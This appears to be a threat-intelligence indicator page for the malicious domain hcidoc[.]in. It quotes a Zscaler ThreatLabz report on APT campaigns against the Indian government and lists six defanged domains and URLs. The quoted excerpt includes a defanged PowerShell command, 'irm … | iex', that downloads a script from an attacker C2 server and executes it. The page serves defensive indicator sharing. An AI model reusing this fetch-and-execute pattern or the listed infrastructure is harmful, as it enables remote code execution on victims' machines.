hxxps://hcidoc[.]in/URL

Reported by 1 independent source · first reported 27 Jan 2026 by Zscaler ThreatLabz · last reported 27 Jan 2026

Last reported 8 months ago

What the reports say

1 report, newest first · the exact sentence from each

“… -e [base64 powershell command] to execute a PowerShell script retrieved from a threat actor-controlled C2 server (e.g.,  irm hxxps://hcidoc[.]in/[path] | iex).The figure below illustrates the attack flow of the Sheet Attack campaigns when malicious LNK files were used as the…”

Zscaler ThreatLabzVendor27 Jan 2026C2
APT Attacks Target Indian Government Using SHEETCREEP, FIREPOWER, and MAILCREEP | Part 2

named in the same reports

Copy these 6 indicators · defanged

6 indicators, defanged, one per line

hcidoc[.]in
testfirebase-b24a8.appspot[.]com
domaincoadelhi[.]in
domainshciaccounts[.]in
hxxps://hciaccounts[.]in/Documents.zip
hciaccounts[.]in

Thanks — we review every report.

Report a wrong value